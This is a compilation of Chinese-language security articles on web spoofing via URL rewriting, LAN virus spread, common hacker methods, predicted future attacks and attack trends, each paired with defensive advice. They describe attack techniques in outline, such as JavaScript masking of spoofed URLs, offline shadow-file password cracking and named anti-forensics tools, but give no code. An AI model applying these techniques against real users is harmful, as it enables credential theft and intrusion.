  Web欺骗是一种电子信息欺骗,攻击者在其中创造了整个Web世界的一个令人信服但是完全错误的拷贝。错误的Web看起来十分逼真,它拥有相同的网页和链接。然而,攻击者控制着错误的Web站点,这样受攻击者浏览器和Web之间的所有网络信息完全被攻击者所截获,其工作原理就好像是一个过滤器。
  后果
  由于攻击者可以观察或者修改任何从受攻击者到Web服务器的信息;同样地,也控制着从Web服务器至受攻击者的返回数据,这样攻击者就有许多发起攻击的可能性,包括监视和破坏。
  攻击者能够监视受攻击者的网络信息,记录他们访问的网页和内容。当受攻击者填写完一个表单并发送后,这些数据将被传送到Web服务器,Web服务器将返回必要的信息,但不幸的是,攻击者完全可以截获并加以使用。大家都知道绝大部分在线公司都是使用表单来完成业务的,这意味着攻击者可以获得用户的帐户和密码。下面我们将看到,即使受攻击者有一个.安全.连接(通常是通过SecureSocketsLayer来实现的,用户的浏览器会显示一把锁或钥匙来表示处于安全连接),也无法逃脱被监视的命运。
  在得到必要的数据后,攻击者可以通过修改受攻击者和Web服务器之间任何一个方向上的数据,来进行某些破坏活动。攻击者修改
受攻击者的确认数据,例如,如果受攻击者在线订购某个产品时,攻击者可以修改产品代码,数量或者邮购地址等等。攻击者也能修改被Web服务器所返回的数据,例如,插入易于误解或者攻击性的资料,破坏用户和在线公司的关系等等。
  欺骗整个Web世界
  你可能认为攻击者欺骗整个Web世界是不可能的,但是恰恰相反,攻击者不必存储整个Web世界的内容,他只需要制造出一条通向整个Web世界的链路。当他需要提供关于某个Web站点的错误Web页面时,他只需要在自己的服务器上建立一个该站点的拷贝,由此等待受害者自投罗网。
Web欺骗的工作原理
  欺骗能够成功的关键是在受攻击者和其他Web服务器之间设立起攻击者的Web服务器,这种攻击种类在安全问题中称为.来自中间的攻击.。为了建立起这样的中间Web服务器,黑客往往进行以下工作。
  改写URL
  首先,攻击者改写Web页中的所有URL地址,这样它们指向了攻击者的Web服务器而不是真正的Web服务器。假设攻击者所处的Web服务器是www.org,攻击者通过在所有链接前增加http://www.www.org来改写URL。例如,http://home.xxx1.com将变为http://www.www.org。当用户点击改写过的http://home.xxx1.com(可能它仍然显示的是http://home.xxx1),将进入的是
http://www.www.org,然后由http://www.www.org向http://home.xxx1.com发出请求并获得真正的文档,然后改写文档中的所有链接,最后经过http://www.www.org返回给用户的浏览器。工作流程如下所示:
1、用户点击经过改写后的http://home.xxx1.com;
2、http://www.www.org向http://home.xxx1.com请求文档;
3、http://home.xxx1.com向http://www.www.org返回文档;
4、http://www.www.org改写文档中的所有URL;
5、http://www.www.org向用户返回改写后的文档。
  很显然,修改过的文档中的所有URL都指向了www.org,当用户点击任何一个链接都会直接进入www.org,而不会直接进入真正的URL。如果用户由此依次进入其他网页,那么他们是永远不会摆脱掉受攻击的可能。
  关于表单
  如果受攻击者填写了一个错误Web上的表单,那么结果看来似乎会很正常,因为只要遵循标准的Web协议,表单欺骗很自然地不会被察觉:表单的确定信息被编码到URL中,内容会以HTML形式来返回。既然前面的URL都已经得到了改写,那么表单欺骗将是很自然的事情。
  当受攻击者提交表单后,所提交的数据进入了攻击者的服务器。攻击者的服务器能够观察,甚至是修改所提交的数据。同样地,在得到真正的服务器返回信息后,攻击者在将其向受攻击者返回以前也可
以为所欲为。
  关于.安全连接.
  我们都知道为了提高Web应用的安全性,有人提出了一种叫做安全连接的概念。它是在用户浏览器和Web服务器之间建立一种基于SSL的安全连接。可是让人感到遗憾的是,它在Web欺骗中基本上无所作为。受攻击者可以和Web欺骗中所提供的错误网页建立起一个看似正常的.安全连接.:网页的文档可以正常地传输而且作为安全连接标志的图形(通常是关闭的一把钥匙或者锁)依然工作正常。换句话说,也就是浏览器提供给用户的感觉是一种安全可靠的连接。但正像我们前面所提到的那样,此时的安全连接是建立在www.org而非用户所希望的站点。
  攻击的导火索
  为了开始攻击,攻击者必须以某种方式引诱受攻击者进入攻击者所创造的错误的Web。黑客往往使用下面若干种方法。
  1、把错误的Web链接放到一个热门Web站点上;
  2、如果受攻击者使用基于Web的邮件,那么可以将它指向错误的Web;
  3、创建错误的Web索引,指示给搜索引擎。
Web欺骗的细节完善
  前面描述的攻击相当有效,但是它还不是十分完美的,黑客往往还要创造一个可信的环境,包括各类图标、文字、链接等,提供给受攻击者各种各样的十分可信的暗示。总之就是隐藏一切尾巴。此时,
如果错误的Web是富有敌意的,那么无辜的用户将处于十分危险的境地。
  另外,黑客还会注意以下方面。
  1、状态线路
  连接状态是位于浏览器底部的提示信息,它提示当前连接的各类信息。Web欺骗中涉及两类信息。首先,当鼠标放臵在Web链接上时,连接状态显示链接所指的URL地址,这样,受攻击者可能会注意到重写的URL地址。第二,当Web连接成功时,连接状态将显示所连接的服务器名称。这样,受攻击者可以注意到显示www.org,而非自己所希望的站点。
  攻击者能够通过JavaScript编程来弥补这两项不足。由于JavaScript能够对连接状态进行写操作,而且可以将JavaScript操作与特定事件绑定在一起,所以,攻击者完全可以将改写的URL状态恢复为改写前的状态,这样Web欺骗将更为可信。
  2、位臵状态行
  浏览器的位臵状态行显示当前所处的URL位臵,用户也可以在其中键入新的URL地址进入到另外的URL,如果不进行必要的更改,此时URL会暴露出改写后的URL。同样地,利用JavaScript可以隐藏掉改写后的URL。JavaScript能用不真实的URL掩盖真实的URL,也能够接受用户的键盘输入,并将之改写,进入不正确的URL。
  Web欺骗的弱点
  尽管黑客在进行Web欺骗时已绞尽脑汁,但是还是留有一些不
足。
  文档信息
  攻击者并不是不留丝毫痕迹,HTML源文件就是开启欺骗迷宫的钥匙。攻击者对其无能为力。通过使用浏览器中.viewsource.命令,用户能够阅读当前的HTML源文件。通过阅读HTML源文件,可以发现被改写的URL,因此可以觉察到攻击。遗憾的是,对于初学者而言,HTML源文件实在是有些难懂。
  通过使用浏览器中.viewdocumentinformation.命令,用户能够阅读当前URL地址的一些信息。可喜的是这里提供的是真实的URL地址,因此用户能够很容易判断出Web欺骗。不过,绝大多数用户都很少注意以上一些属性,可以说潜在的危险还是存在的。
Web欺骗的预防解决
  逃离灾难
  受攻击者可以自觉与不自觉地离开攻击者的错误Web页面。这里有若干种方法。访问Bookmark或使用浏览器中提供的.Openlocation.进入其他Web页面,离开攻击者所设下的陷阱。不过,如果用户使用.Back.按键,则会重新进入原先的错误Web页面。当然,如果用户将所访问的错误Web存入Bookmark,那么下次可能会直接进入攻击者所设下的陷阱。
  关于追踪攻击者
  有人建议应当通过跟踪来发现并处罚攻击者。确实如此,攻击者如果想进行Web欺骗的话,那么离不开Web服务器的帮助。但是,
他们利用的Web服务器很可能是被攻击后的产物,就象罪犯驾驶着盗窃来的汽车去作案一样。
  预防办法
  Web欺骗是当今Internet上具有相当危险性而不易被察觉的欺骗手法。幸运的是,我们可以采取的一些保护办法。
  短期的解决方案
  为了取得短期的效果,最好从下面三方面来预防:
  1、禁止浏览器中的JavaScript功能,那么各类改写信息将原形毕露;
  2、确保浏览器的连接状态是可见的,它将给你提供当前位臵的各类信息;
  3、时刻注意你所点击的URL链接会在位臵状态行中得到正确的显示。
  现在,JavaScript、ActiveX以及Java提供越来越丰富和强大的功能,而且越来越为黑客们进行攻击活动提供了强大的手段。为了保证安全,建议用户考虑禁止这些功能。
  这样做,用户将损失一些功能,但是与可能带来的后果比较起来,每个人会得出自己的结论。
  长期的解决方案
  1、改变浏览器,使之具有反映真实URL信息的功能,而不会被蒙蔽;
  2、对于通过安全连接建立的Web——浏览器对话,浏览器还应
该告诉用户谁在另一端,而不只是表明一种安全连接的状态。比如:在建立了安全连接后,给出一个提示信息.NetscapeInc..等等。
所有的解决方案,可以根据用户的安全要求和实际条件来加以选择。
 
局域网病毒入侵原理及防范方法
计算机病毒在网络中泛滥已久,而其在局域网中也能快速繁殖,导致局域网计算机的相互感染,下面将为大家介绍有关局域网病毒的入侵原理及防范方法。
  一、局域网病毒入侵原理及现象
  一般来说,计算机网络的基本构成包括网络服务器和网络节点站(包括有盘工作站、无盘工作站和远程工作站)。计算机病毒一般首先通过各种途径进入到有盘工作站,也就进入网络,然后开始在网上的传播。具体地说,其传播方式有以下几种。
  (1)病毒直接从工作站拷贝到服务器中或通过邮件在网内传播;
  (2)病毒先传染工作站,在工作站内存驻留,等运行网络盘内程序时再传染给服务器;
  (3)病毒先传染工作站,在工作站内存驻留,在病毒运行时直接通过映像路径传染到服务器中;
  (4)如果远程工作站被病毒侵入,病毒也可以通过数据交换进入网络服务器中一旦病毒进入文件服务器,就可通过它迅速传染到整个网络的每一个计算机上。而对于无盘工作站来说,由于其并非真的
"无盘"(它的盘是网络盘),当其运行网络盘上的一个带毒程序时,便将内存中的病毒传染给该程序或通过映像路径传染到服务器的其他的文件上,因此无盘工作站也是病毒孽生的温床。
  由以上病毒在网络上的传播方式可见,在网络环境下,网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。
  (1)感染速度快
  在单机环境下,病毒只能通过介质从一台计算机带到另一台,而在网络中则可以通过网络通讯机制进行迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。
  (2)扩散面广
  由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。
  (3)传播的形式复杂多样
  计算机病毒在网络上一般是通过"工作站"到"服务器"到"工作站"的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。
(4)难于彻底清除
  单机上的计算机病毒有时可以通过带毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。而网络中只要有一台工作站未能清除
干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。
  (5)破坏性大
  网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使多年工作毁于一旦。
  (6)可激发性
  网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。
  (7)潜在性
  网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除后,85%的网络在30天内会被再次感染。
  例如尼姆达病毒,会搜索本地网络的文件共享,无论是文件服务器还是终端客户机,一旦找到,便安装一个隐藏文件,名为Riched20.DLL到每一个包含"DOC"和"eml"文件的目录中,当用户通过Word、写字板、Outlook打开"DOC"和"eml"文档时,这些应用程序将执行Riched20.DLL文件,从而使机器被感染,同时该病毒还可以感染远程服务器被启动的文件。带有尼姆达病毒的电子邮件,不需你打开附件,只要阅读或预览了带病毒的邮件,就会继续发送带毒邮件给你通讯簿里的朋友。
二、局域网病毒防范方法
  以"尼姆达"病毒为例,个人用户感染该病毒后,使用单机版杀毒软件即可清除;然而企业的网络中,一台机器一旦感染"尼姆达",病毒便会自动复制、发送并采用各种手段不停交叉感染局域网内的其他用户。
  计算机病毒形式及传播途径日趋多样化,因此,大型企业网络系统的防病毒工作已不再像单台计算机病毒的检测及清除那样简单,而需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设臵和维护对病毒的防护策略。
  一个企业网的防病毒体系是建立在每个局域网的防病毒系统上的,应该根据每个局域网的防病毒要求,建立局域网防病毒控制系统,分别设臵有针对性的防病毒策略。
  (1)增加安全意识
  杜绝病毒,主观能动性起到很重要的作用。病毒的蔓延,经常是由于企业内部员工对病毒的传播方式不够了解,病毒传播的渠道有很多种,可通过网络、物理介质等。查杀病毒,首先要知道病毒到底是什么,它的危害是怎么样的,知道了病毒危害性,提高了安全意识,杜绝毒瘤的战役就已经成功了一半。平时,企业要从加强安全意识着手,对日常工作中隐藏的病毒危害增加警觉性,如安装一种大众认可的网络版杀毒软件,定时更新病毒定义,对来历不明的文件运行前进行查杀,每周查杀一次病毒,减少共享文件夹的数量,文件共享的时候尽量控制权限和增加密码等,都可以很好地防止病毒在网络中的传
播。
  (2)小心邮件
  随着网络的普及,电子信箱成了人们工作中不可缺少的一种媒介。它方便快捷在提高了人们的工作效率的同时,也无意之中成为了病毒的帮凶。有数据显示,如今有超过90%的病毒通过邮件进行传播。
  尽管这些病毒的传播原理很简单,但这块决非仅仅是技术问题,还应该教育用户和企业,让它们采取适当的措施。例如,如果所有的Windows用户都关闭了VB脚本功能,像库尔尼科娃这样的病毒就不可能传播。只要用户随时小心警惕,不要打开值得怀疑的邮件,就可把病毒拒绝在外。
  (3)挑选网络版杀毒软件
  选择一个功力高深的网络版病毒"杀手"就至关重要了。一般而言,查杀是否彻底,界面是否友好、方便,能否实现远程控制、集中管理是决定一个网络杀毒软件的三大要素。
 
黑客入侵之----过程
分析黑客常用的9种攻击方法
许多上网的用户对网络安全可能抱着无所谓的态度,认为最多不过是被.黑客.盗用账号,他们往往会认为.安全.只是针对那些大中型企事业单位的,而且黑客与自己无怨无仇,干嘛要攻击自己呢?其实,在一无法纪二无制度的虚拟网络世界中,现实生活中所有的阴险和卑
鄙都表现得一览无余,在这样的信息时代里,几乎每个人都面临着安全威胁,都有必要对网络安全有所了解,并能够处理一些安全方面的问题,那些平时不注意安全的人,往往在受到安全方面的攻击时,付出惨重的代价时才会后悔不已。同志们要记住啊!防人之心不可无呀!
  为了把损失降低到最低限度,我们一定要有安全观念,并掌握一定的安全防范措施,禁绝让黑客无任何机会可趁。下面我们就来研究一下那些黑客是如何找到你计算机中的安全漏洞的,只有了解了他们的攻击手段,我们才能采取准确的对策对付这些黑客。
  1、获取口令
  这又有三种方法:一是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但黑客要有足够的耐心和时间;三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后,用暴力破解程序破解用户口令,该方法的使用前提是黑客获得口令的Shadow文件。此方法在所有方法中危害最大,因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器,而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码,尤其对那些弱智用户(指口令安全系数极低的用户,如某用户账号为zys,其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内,甚至几十秒内就可以将其干掉。
  2、放臵特洛伊木马程序
  特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知黑客,来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。
3、WWW的欺骗技术
  在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑客服务器发出请求,那么黑客就可以达到欺骗的目的了。
4、电子邮件攻击
  电子邮件攻击主要表现为两种方式:一是电子邮件轰炸和电子邮件.滚雪球.,也就是通常所说的邮件炸弹,指的是用伪造的IP地址
和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被.炸.,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;二是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同),给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序(据笔者所知,某些单位的网络管理员有定期给用户免费发送防火墙升级程序的义务,这为黑客成功地利用该方法提供了可乘之机),这类欺骗只要用户提高警惕,一般危害性不是太大。
  5、通过一个节点来攻击其他节点
  黑客在突破一台主机后,往往以此主机作为根据地,攻击其他主机(以隐蔽其入侵路径,避免留下蛛丝马迹)。他们可以使用网络监听方法,尝试攻破同一网络内的其他主机;也可以通过IP欺骗和主机信任关系,攻击其他主机。这类攻击很狡猾,但由于某些技术很难掌握,如IP欺骗,因此较少被黑客使用。
  6、网络监听
  网络监听是主机的一种工作模式,在这种模式下,主机可以接受到本网段在同一条物理通道上传输的所有信息,而不管这些信息的发送方和接受方是谁。此时,如果两台主机进行通信的信息没有加密,只要使用某些网络监听工具,例如NetXrayforwindows95/98/nt,sniffitforlinux、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限
性,但监听者往往能够获得其所在网段的所有用户帐号及口令。
  7、寻找系统漏洞
  许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,win98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你将网线拔掉;还有一些漏洞是由于系统管理员配臵错误引起的,如在网络文件系统中,将目录和文件以可写的方式调出,将未加Shadow的用户密码文件以明码方式存放在某一目录下,这都会给黑客带来可乘之机,应及时加以修正。
  8、利用帐号进行攻击
  有的黑客会利用操作系统提供的缺省账户和密码进行攻击,例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名),有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息,不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕,将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。
  9、偷取特权
  利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击,前者可使黑客非法获得对用户机器的完全控制权,后者可使黑客获得超级用户的权限,从而拥有对整个网络的绝对控制权。这种攻击手段,一旦奏效危害性极大。
未来可能出现的五种攻击手段
现在大部分的企业或组织至少也都在信息安全方面采取了一定的基本防御措施,用户的安全意识也得到了加强,一些独创性的安全技术为应对未来更加强大的攻击提供了支持。但是仅仅这些就足够了吗?这是不可能的。
  至少仅仅靠安全意识上的加强是远远不够的,而且很少有人将历史教训放在心上。红色代码的爆发就充分地说明人们常常即使已经知道存在某种安全威胁,但却事不关己,高高挂起,自己还没有遭到攻击就赖得补救。而企业有限的安全预算也制约着信息安全领域的发展。另外,一些人还会出于某种目的花费大量的时间去研究新的攻击方法和手段,尽管如此,我们还是可以尝试着去预测隐伏着的可能的这些攻击。
  笔者时常被问,"什么样的潜在性网络攻击会使你在半夜醒来?"
笔者想可能下面的这些就足以使我半夜惊醒:
  1、超级蠕虫
  无论是手段的高明性,还是破坏的危害性,计算机网络受到蠕虫的威胁都在激增。在我们的民意调查中显示人们仍旧将这一威胁看作是计算机网络将面临的最大威胁之一,有超过36%的人认为超级蠕虫的威胁应该摆在第一位。
  超级蠕虫,它一般被认为是混合蠕虫。它通常能自我繁殖,并且繁殖速度会变得更快,传播的范围会变得更广。更可怕的是它的一次攻击就能针对多个漏洞。例如,超级蠕虫潜入系统后,不是仅仅攻击某个漏洞,而是会尝试某个已知漏洞,然后尝试一个又一个漏洞。
  超级蠕虫的一枚弹头针对多个漏洞发动攻击,所以总有一个会有效果。如果它发现你未打补丁的地方,那你就在劫难逃了。而事实上没有哪家公司的系统完全打上了所有的补丁。
  很多安全专家逐渐看到的通过IM(即时消息)进行传播的蠕虫就可以说是一种超级蠕虫。黑客将一个链接发给IM用户后,如果用户点击链接,蠕虫就会传播给该用户的IM地址簿上的所有人。有了IM,用户将随时处于连接状态,所以也随时会受到攻击。
为对付未来的超级蠕虫我们所能做的将是:
  对外部可访问系统进行安全加固,像Web服务器,邮件服务器和DNS服务器等,尽量将它们所需要开放的服务减少到最小。
  给系统及时打上补丁、及时更新防病毒软件,对员工进行安全宣传和教育。
  使用基于主机的入侵检测系统和预防工具,例如Symantec的IntruderAlert3.6可以阻断或迅速发现蠕虫的攻击。
  2、隐秘攻击(StealthierAttacks)
  现在越来越多的黑客把攻击后成功地逃匿IDS的检测看作是一种艺术,有许多新工具将能使他们在攻击用户的系统后,不会留下任何蛛丝马迹,有多种高级黑客技术将能使之成为可能,而这些技术已经被广泛地为专业黑客和一些高级的脚本菜鸟(ScriptsKids)所采用:
  多变代码
  这些恶意软件其本身可能是一种病毒,蠕虫,后门或漏洞攻击脚本,它通过动态地改变攻击代码可以逃避入侵检测系统的特征检测
(Signature-baseddetection,也可称为模式匹配)。攻击者常常利用这种多变代码进入互联网上的一些带有入侵侦测的系统或IDSes入侵者警告系统。
  Antiforensics
  攻击者可操作文件系统的特性和反侦测伎俩进行攻击来逃避IDS的检测。
  例如通过利用像Burneye这样一个工具,可以掩盖黑客对系统的攻击企图,使用Defiler的工具Toolkit可以覆盖黑客对目标文件系统所做的修改留下的蛛丝马迹。
  隐蔽通道
  为了和后门或者恶意软件进行通讯,攻击者必须建立一条非常隐蔽的通信通道。为此,攻击者常常将通讯端口建立在一些非常常用的通信协议端口上,像HTTPS或者SSH。
内核级后门(Kernel-levelrootkits)
  通过从系统内核控制一个系统,攻击者获得对目标系统的完全控制权限,而对受害者来说却一切都似乎风平浪静。
  嗅探式后门(Sniffingbackdoors)
  通过将后门和用户使用的嗅探器捆绑在一起,攻击者能够巧妙地绕过用户使用的传统的通过查看正在监听的端口来发现后门的检测方法,使受害者被种了后门却还一直蒙在鼓里。
  反射式/跳跃式攻击
  与其直接向目标系统发送数据,很多攻击者觉得还不如利用
TCP/IP欺骗技术去以误导正常的检测,隐蔽攻击者的真实地址,像反射式DoS攻击就是例证。有关反射式DoS攻击的详细信息,请参见安络科技七月巨献:网络攻击机制和技术发展综述。
  针对以上这些诡秘的攻击,作为用户又该如何防范和阻止呢?
  如果你的系统遭到这种攻击,你需要能够迅速地检测出来,而且要知道攻击者具体在你的系统上干了些什么。为了能够察觉出这种入侵,需要同时使用基于网络和基于主机上的入侵检测系统和防病毒产品,并仔细检查你的系统日志。一般用户可能不具备这种专业能力,可以寻找一家高专业水准的信息安全签约服务商,为您提供高水平的反入侵服务。
  一旦你发现自己的系统有什么异常,你必须确保你的事件紧急响应小组在取证分析上有丰富的经验,能够熟练使用像@stake的免费TASK工具或者GuidanceSoftware的商业软件EnCase,因为这两个工具都能非常仔细对系统进行分析,并且非常精确地隔离攻击者的真实破坏活动。重点部门的事件响应小组可以和专业安全服务商共建,明确分工,及时处理。
  3、利用程序自动更新存在的缺陷
  主流软件供应商,像Microsoft和AppleComputer等都允许用户通过Internet自动更新他们的软件。通过自动下载最新发布的修复程序和补丁,这些自动更新工具可以减少配臵安全补丁所耽误的时间。
  但是程序允许自动更新的这个特征却好比一把双刃剑,有有利的一面,也有不利的一面。攻击者能够通过威胁厂商Web站点的安全
性,迫使用户请求被重定向到攻击者自己构建的机器上。然后,当用户尝试连接到厂商站点下载更新程序时,真正下载的程序却是攻击者的恶意程序。这样的话攻击者将能利用软件厂商的自动更新Web站点传播自己的恶意代码和蠕虫病毒。
  在过去的六个月中,Apple和WinAmp的Web站点自动更新功能都被黑客成功利用过,所幸的是发现及时(没有被报道)。Apple和WinAmp后来虽然修复了网站的缓冲溢出缺陷,并使用了代码签名(CodeSigning)技术,但基于以上问题的攻击流一直没有被彻底清除。
  为了预防这种潜在的攻击威胁,需要严格控制和管理安装在你的内部网机器上的软件,禁止公司职员随意地安装任何与工作无关的应用软件。在这里,你可以使用软件管理工具来强迫执行,像Microsoft的SMS,LANDeskSOFTware的LANDesk。这两个工具只要二者择其一,你就可以配臵你的内部升级服务器,如通过在工具中对微软软件升级服务器相关选项进行配臵,你可以具体选择哪个修复程序和补丁允许被安装。为保护你的网络,可使用sniffer测试所有的补丁,如发现网络流量不正常或发现开放了陌生的端口则需引起警觉。
4、针对路由或DNS的攻击
  Internet主要由两大基本架构组成:路由器构成Internet的主干,DNS服务器将域名解析为IP地址。如果一个攻击者能成功地破坏主干路由器用来共享路由信息的边界网关协议(BGP),或者更改网络中的DNS服务器,将能使Internet陷入一片混乱。
  攻击者通常会从头到脚,非常仔细地检查一些主流路由器和DNS
服务器的服务程序代码,寻找一些能够使目标程序或设备彻底崩溃或者取得系统管理权限的缓冲溢出或其它安全缺陷。路由代码非常复杂,目前已经发现并已修复了许多重要的安全问题,但是仍旧可能存在许多更严重的问题,并且很可能被黑客发现和利用。DNS软件过去经常发生缓冲溢出这样的问题,在以后也肯定还可能发生类似的问题。如果攻击者发现了路由或DNS的安全漏洞,并对其进行大举攻击的话,大部分因特网将会迅速瘫痪。
  为了防止遭到这种攻击,确保你的系统不会被作为攻击他人的跳板,应采取如下措施:
  对公共路由器和外部DNS服务器进行安全加固。如果公司的DNS服务器是为安全敏感的机器提供服务,则应为DNS服务器配臵防火墙和身份验证服务器。
  确保DNS服务器安装了最新补丁,对DNS服务器严格监控。
  如果你认为是由ISP的安全缺陷造成的威胁,确保你的事件紧急响应小组能够迅速和你的ISP取得联系,共同对付这种大规模的网络攻击。
  5、同时发生计算机网络攻击和恐怖袭击
  这可以说是一场双重噩梦:一场大规模的网络攻击使数百万的系统不能正常使用,紧接着,恐怖分子袭击了一个或者更多城市,例如一次类似9/11的恐怖爆炸事件或者一次生化袭击。在9/11恐怖袭击事件后,美国东部的几个海岸城市,电话通信被中断,惊恐万分的人们不得不通过E-MAIL去询问同事或亲人的安全。由于这次袭击,人
们发现Internet是一种极好的传媒(还有电视传媒)。但是我们不妨假设一下,如果此时爆发超级蠕虫,BGP和DNS被遭到大举攻击,那么在我们最需要它的时候它也将离我们而去,可以想象将是一种什么样的糟糕场面。但是这又并不是不可能发生的。
  我们要居安思危,为这种灾难的可能发生作好应急准备是相当困难的:
  作好计算机的备份工作;
  除给紧急响应小组配备无线电话外,还需配备全双工传呼设备;
  要确保你的计算机紧急响应小组有应付恐怖袭击的能力;
  要假想可能出现的恐怖袭击场面以进行适当的演习,以确保真正同时发生网络攻击和恐怖袭击时,他们能够迅速、完全地进入角色。
也许有人会认为我们这样做可能都是杞人忧天,但是,笔者有理由相信这样的事情在未来的5年中是完全有可能发生的,只不过所使用的攻击技术可能是我们在上面所列举出来的,可能是我们所没有预计到的。
 
黑客攻击方式的四种趋势
  从1988年开始,位于美国卡内基梅隆大学的CERTCC(计算机紧急响应小组协调中心)就开始调查入侵者的活动。CERTCC给出一些关于最新入侵者攻击方式的趋势。
  趋势一:攻击过程的自动化与攻击工具的快速更新
  攻击工具的自动化程度继续不断增强。自动化攻击涉及到的四个
阶段都发生了变化。
  1.扫描潜在的受害者。从1997年起开始出现大量的扫描活动。目前,新的扫描工具利用更先进的扫描技术,变得更加有威力,并且提高了速度。
  2.入侵具有漏洞的系统。以前,对具有漏洞的系统的攻击是发生在大范围的扫描之后的。现在,攻击工具已经将对漏洞的入侵设计成为扫描活动的一部分,这样大大加快了入侵的速度。
  3.攻击扩散。2000年之前,攻击工具需要一个人来发起其余的攻击过程。现在,攻击工具能够自动发起新的攻击过程。例如红色代码和Nimda病毒这些工具就在18个小时之内传遍了全球。
  4.攻击工具的协同管理。自从1999年起,随着分布式攻击工具的产生,攻击者能够对大量分布在Internet之上的攻击工具发起攻击。现在,攻击者能够更加有效地发起一个分布式拒绝服务攻击。协同功能利用了大量大众化的协议如IRC(InternetRelayChat)、IR(InstantMessage)等的功能。
  趋势二:攻击工具的不断复杂化
  攻击工具的编写者采用了比以前更加先进的技术。攻击工具的特征码越来越难以通过分析来发现,并且越来越难以通过基于特征码的检测系统发现,例如防病毒软件和入侵检测系统。当今攻击工具的三个重要特点是反检测功能,动态行为特点以及攻击工具的模块化。
  1.反检测。攻击者采用了能够隐藏攻击工具的技术。这使得安全专家想要通过各种分析方法来判断新的攻击的过程变得更加困难
和耗时。
  2.动态行为。以前的攻击工具按照预定的单一步骤发起进攻。现在的自动攻击工具能够按照不同的方法更改它们的特征,如随机选择、预定的决策路径或者通过入侵者直接的控制。
  3.攻击工具的模块化。和以前攻击工具仅仅实现一种攻击相比,新的攻击工具能够通过升级或者对部分模块的替换完成快速更改。而且,攻击工具能够在越来越多的平台上运行。例如,许多攻击工具采用了标准的协议如IRC和HTTP进行数据和命令的传输,这样,想要从正常的网络流量中分析出攻击特征就更加困难了。
趋势三:漏洞发现得更快
  每一年报告给CERT/CC的漏洞数量都成倍增长。CERT/CC公布的漏洞数据2000年为1090个,2001年为2437个,2002年已经增加至4129个,就是说每天都有十几个新的漏洞被发现。可以想象,对于管理员来说想要跟上补丁的步伐是很困难的。而且,入侵者往往能够在软件厂商修补这些漏洞之前首先发现这些漏洞。随着发现漏洞的工具的自动化趋势,留给用户打补丁的时间越来越短。尤其是缓冲区溢出类型的漏洞,其危害性非常大而又无处不在,是计算机安全的最大的威胁。在CERT和其它国际性网络安全机构的调查中,这种类型的漏洞是对服务器造成后果最严重的。
  趋势四:渗透防火墙
  我们常常依赖防火墙提供一个安全的主要边界保护。但是情况是:
  *已经存在一些绕过典型防火墙配臵的技术,如IPP(theInternetPrintingProtocol)和WebDAV(Web-basedDistributedAuthoringandVersioning)
  *一些标榜是.防火墙适用.的协议实际上设计为能够绕过典型防火墙的配臵。
  特定特征的.移动代码.(如ActiveX控件,Java和JavaScript)使得保护存在漏洞的系统以及发现恶意的软件更加困难。
  另外,随着Internet网络上计算机的不断增长,所有计算机之间存在很强的依存性。一旦某些计算机遭到了入侵,它就有可能成为入侵者的栖息地和跳板,作为进一步攻击的工具。对于网络基础架构如DNS系统、路由器的攻击也越来越成为严重的安全威胁。
  采用主动防御措施应对新一代网络攻击
